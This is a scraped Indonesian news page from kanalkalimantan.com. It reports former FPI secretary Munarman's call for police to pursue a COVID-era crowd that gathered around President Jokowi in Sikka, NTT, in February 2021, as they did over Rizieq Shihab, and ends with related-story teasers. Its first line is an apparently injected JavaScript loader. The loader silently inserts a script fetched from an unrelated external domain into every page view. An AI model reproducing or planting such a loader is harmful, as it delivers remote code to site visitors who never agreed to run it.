(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, SIKKA – Eks Sekretaris Umum Front Pembela Islam (FPI) Munarman bereaksi setelah melihat Presiden Joko Widodo (Jokowi) menyebabkan kerumunan masyarakat di tengah pandemi Covid-19. Peristiwa itu terjadi saat Jokowi melakukan kunjungan kerja di Maumere, Kabupaten Sikka, Nusa Tenggara Timur (NTT).
Munarman mengatakan seharusnya aparat penegak hukum bisa mengusutnya seperti Habib Rizieq Shihab yang juga menimbulkan kerumunan saat pulang ke Indonesia.
Kepulangan Rizieq dari Arab Saudi pada November 2020 membuat pendukungnya berkumpul untuk menyambut mulai dari Bandara Soekarno Hatta hingga ke kediamannya di kawasan Petamburan, Jakarta Pusat. Dianggap melanggar aturan protokol kesehatan Covid-19, Rizieq lantas ditangkap pihak kepolisian dan ditahan di Rumah Tahanan (Rutan) Bareskrim Polri.
“Silahkan aparat penegak hukum saatnya berlaku sama dengan apa yang terjadi pada HRS, monggo,” kata Munarman kepada Suara.com, Rabu (24/2/2021).
Munarman pun menunggu inisiatif dari aparat keamanan untuk mengusut kasus kerumunan masyarakat yang terjadi saat penyambutan Jokowi di NTT.
Ia menyebut masyarakat menantikan aparat bisa berlaku adil dalam menegakkan hukum
“Rakyat Indonesia menunggu keadilan tersebut,” tuturnya.
Sebelumnya, sebuah video memperlihatkan mobil yang ditumpangi Jokowi dikerumuni oleh sejumlah masyarakat yang hendak melihatnya. Kerumunan tersebut terjadi saat Jokowi mengunjungi Kabupaten Sikka, Nusa Tenggara Timur (NTT), Selasa (23/2/2021).
Video itu banyak diunggah oleh pengguna akun media sosial Twitter, termasuk @Gladislagiwoy. Dalam unggahannya tersebut ia menyampaikan kalau Jokowi tengah melakukan kunjungan kerja.
“Kunjungan kerja Presiden Jokowi ke Kabupaten Sikka, Maumere Flores, NTT,” sebutnya.
Dalam video tersebut, Jokowi tampak menggunakan mobil kepresidenan yang dihadang oleh ratusan masyarakat. Ia menyapa masyarakat melalui kap mobil yang terbuka sambil sesekali melambaikan tangan dan memberi isyarat untuk mengenakan masker.
Ratusan masyarakat tersebut terlihat saling berdempetan karena ingin lebih dekat melihat sosok Jokowi. Protokol kesehatan Covid-19 yakni menjaga jarak pun diabaikan dalam peristiwa tersebut.
Bukannya meminta masyarakat untuk bubar, Jokowi malah membagi-bagikan beberapa cinderamata yang dilemparkannya ke arah masyarakat.
Maksud kedatangan Jokowi ke daerah tersebut ialah untuk meresmikan Bendungan Napun Gete yang terletak di Desa Ilinmedo, Kecamatan Waiblama, Kabupaten Sikka, Nusa Tenggara Timur (NTT).(Suara)
Editor : Suara
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) kembali menerima opini Wajar Tanpa… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kelurahan Selat Dalam, Kecamatan Selat, Kabupaten Kapuas, Kalteng menggelar acara… Read More
KANALKALIMANTAN.COM, MARTAPURA - Kontingen Pekan Olahraga Pelajar Daerah (Popda) Kabupaten Banjar Tahun 2024 yang terdiri… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Lian Silas, terdakwa kasus Tindak Pidana Pencucian Uang (TPPU) narkotika jaringan Fredy… Read More
KANALKALIMANTAN.COM, BANJARBARU – Kali kesekian, anak kecil Penyandang Masalah Kesejahteraan Sosial (PMKS) di kawasan lampu… Read More
KANALKALIMANTAN, BANJARBARU - Pemerintah Kabupaten Banjar meraih Opini Wajar Tanpa Pengecualian (WTP) dari Badan Pemeriksa… Read More
This website uses cookies.